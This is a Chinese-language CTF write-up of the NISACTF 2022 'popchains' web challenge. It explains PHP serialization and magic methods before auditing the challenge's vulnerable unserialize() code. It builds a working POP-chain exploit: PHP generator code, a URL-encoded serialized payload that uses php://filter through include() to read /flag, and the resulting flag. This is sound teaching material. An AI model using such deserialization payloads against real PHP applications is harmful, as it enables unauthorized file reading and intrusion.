[NISACTF 2022]popchains

发布时间 2023-08-27 21:36:29作者: y0Zero

[NISACTF 2022]popchains

题目来源:nssctf

题目类型:web

涉及考点:POP链、PHP反序列化

1. 借这道题一起说下反序列化和POP链吧

  • 首先认识一下反序列化:

定义:序列化就是将一个对象转换成字符串,反序列化则是将字符串重新恢复成对象

PHP序列化函数:serialize()

PHP反序列化函数:unserialize()

简单举个例子:

  • 先是序列化:
<?php
	class hello{
		public $first = 'hello';
		public $second = 'world';
		public $third = '!';
	}

	$a = new hello();
	echo serialize($a);
?>

若我们没有对 $a 的属性进行初始化,那么序列化的输出会遵循hello类内已经定义的值

O:5:"hello":3:{s:5:"first";s:5:"hello";s:6:"second";s:5:"world";s:5:"third";s:1:"!";}

解释一下上面这段字符串:

O:表示一个对象,因为我们是对对象$a进行序列化;如果是对数组进行序列化,那么这个位置就是A
5:表示类名长度为5个字符
"hello":类名
3:类中有三个属性
's:5:"first";s:5:"hello";':
这段表示一个属性,后续也一样,这里只对第一个属性进行解释
s:该属性为字符串
5:该属性名长度为5个字符
"first":属性名
s:该属性为字符串
5:该属性值长度为5个字符(注意与属性名长度区分)
"hello":该属性值为"hello"
  • 如果对 $a 的属性进行初始化,即有:
<?php
	class hello{
		public $first = 'hello';
		public $second = 'world';
		public $third = '!';
	}

	$a = new hello();
	$a->first = 'hey';
	echo serialize($a);
?>

则输出为:

O:5:"hello":3:{s:5:"first";s:3:"hey";s:6:"second";s:5:"world";s:5:"third";s:1:"!";}
//可以看到第一个属性已经跟随了$a的定义
  • 接着是反序列化
<?php
	class hello{
		public $first = 'hello';
		public $second = 'world';
		public $third = '!';
	}

	$a = new hello();
	$a->first = 'hey';
	$str = serialize($a);
	var_dump(unserialize($str));
?>
//var_dump():用于输出变量的相关信息

输出如下:

object(hello)#2 (3) {
  ["first"]=>
  string(3) "hey"
  ["second"]=>
  string(5) "world"
  ["third"]=>
  string(1) "!"
}

以上是简单认识一下序列化和反序列化,有更多规则这里没有讲述到,等后续做题做到了会进行补充

重点:魔术方法

定义:php规定以两个下划线(__)开头的方法都保留为魔术方法,不需要理解的太复杂,魔术方法就是一些特殊的函数,它们存在一些特定的触发条件。

常见的几个魔术方法:

名称 触发时机
__construct() 在对象实例化(创建对象)的时候自动触发
__destruct() 在销毁对象的时候自动触发
__wakeup() 执行unserialize()时,先会调用这个函数
__sleep() 执行serialize()时,先会调用这个函数
__call() 在对象上下文中调用不可访问的方法时触发
__get() 访问私有或不存在的成员属性的时候自动触发
__set() 对私有成员属性进行设置值时自动触发
__isset() 对私有成员属性进行 isset 进行检查时自动触发
__unset() 对私有成员属性进行 unset 进行检查时自动触发
__toString() 把类当作字符串使用时触发
__invoke() 当尝试将对象调用为函数时触发

举个例子:

<?php
// 声明一个简单的类
class TestClass
{
    public $foo;

    public function __construct($foo) 
    {
        $this->foo = $foo;
    }

    public function __toString() {
        return $this->foo;
    }
}

$class = new TestClass('Hello');
echo $class;
?>

在上述例子中,我们实例化了TestClass这个类,触发了__construct()这个魔术方法,而在echo $class里我们将class作为字符串使用,触发了__toString()方法

最后说下POP链

POP链:就是利用魔法方法进行多次跳转后获取敏感数据的一种payload

构造POP链的关键在于找到POP链的起点或终点,再利用魔术方法的触发条件和题目代码结构,将POP链完善

下面直接上题目吧

2. 直接做代码审计

为了尽可能讲的透彻,下面会有较多废话,若想直接查看payload请跳转第三点

<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

看if里面,很明显需要GET传入一个wish,然后对其反序列化,接下来我们直接对POP链进行分析构造:

  • 找终点

我们看到Try_Work_Hard类中的append()方法内有include(),想到可以利用php伪协议对数据流进行读取,那么这就作为POP链的末尾。

如何触发append()方法呢?在__invoke()里就存在append(),在Try_Work_Hard类的对象被当做函数调用时即可触发__invoke()

这里我先对payload进行构造,最后拼接即可:

在终点append()内,我们需要令$value=php://filter/convert.base64-encode/resource=/flag

append()前驱,也就是__invoke()内,我们是对append()传入了$this->var,因此对于构造的Try_Work_Hard类的对象,我们需要构造:

$var=php://filter/convert.base64-encode/resource=/flag

  • 往前回溯,我们说需要让Try_Work_Hard类的对象被当做函数调用以触发__invoke()

我们发现Make_a_Change类中,__get()方法内返回$function()。因此我们可以令$function等于一个Try_Work_Hard类的对象,这样当__get()方法内返回$function()时就可以触发__invoke()

那么如何触发__get()方法呢?它在访问私有或不存在的成员属性的时候自动触发,我们看到在Road_is_Long类的__toString()方法中,若我们令$this->string = new Make_a_Change(),那么$this->string->page就会触发__get()方法,因为Make_a_Change类中没有$page

我们对Make_a_Change类构造如下:

$a = new Make_a_Change();
$a->effort = new Try_Work_Hard();
  • 最后很显然,POP链开头就是Road_is_Long

我们刚才说需要这个类的__toString()方法,它需要把类当作字符串使用时触发。而在其本身有个__wakeup()方法,里面存在正则匹配,因此我们只需要令page成为一个Try_Work_Hard类即可。__wakeup()方法会在进行反序列化的时候自动触发,我们不用管

这里我们需要两个Road_is_Long类的对象,我们对其命名为a和b,a在外层触发__wakeup(),b作为a的page,在a中被作为字符使用,从而触发b自身的__toString()

$b = new Road_is_Long();
$b->string = new Make_a_Change();
$a = new Road_is_Long();
$a->page = $b;

3. 我们总结一下上述过程,构造payload

上述过程比较繁琐,难以理解可以自己做个图看看

我们最终获得的POP链如下:

Road_is_Long::__wakeup() -> Road_is_Long::__toString() -> Make_a_Change::__get() -> Try_Work_Hard::__invoke() -> Try_Work_Hard::append()

构造payload如下:(第二点分段给出的payload还需要修改)

<?php
class Road_is_Long{
    public $page;
    public $string;
}
 
class Try_Work_Hard{
    protected  $var="php://filter/convert.base64-encode/resource=/flag";
}
 
class Make_a_Change{
    public $effort;
}
 
$f = new Try_Work_Hard();
$m = new Make_a_Change();
$m->effort = $f;
$b = new Road_is_Long();
$b->string = $m;
$a = new Road_is_Long();
$a->page = $b;

echo urlencode(serialize($a));
?>

我们运行一下,最终传入:

/?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

将得到的base64编码进行解码,得到flag:

NSSCTF{a407c33c-8508-4860-ad10-4858e584a9ea}

日期:2023.8.27

作者:y0Zero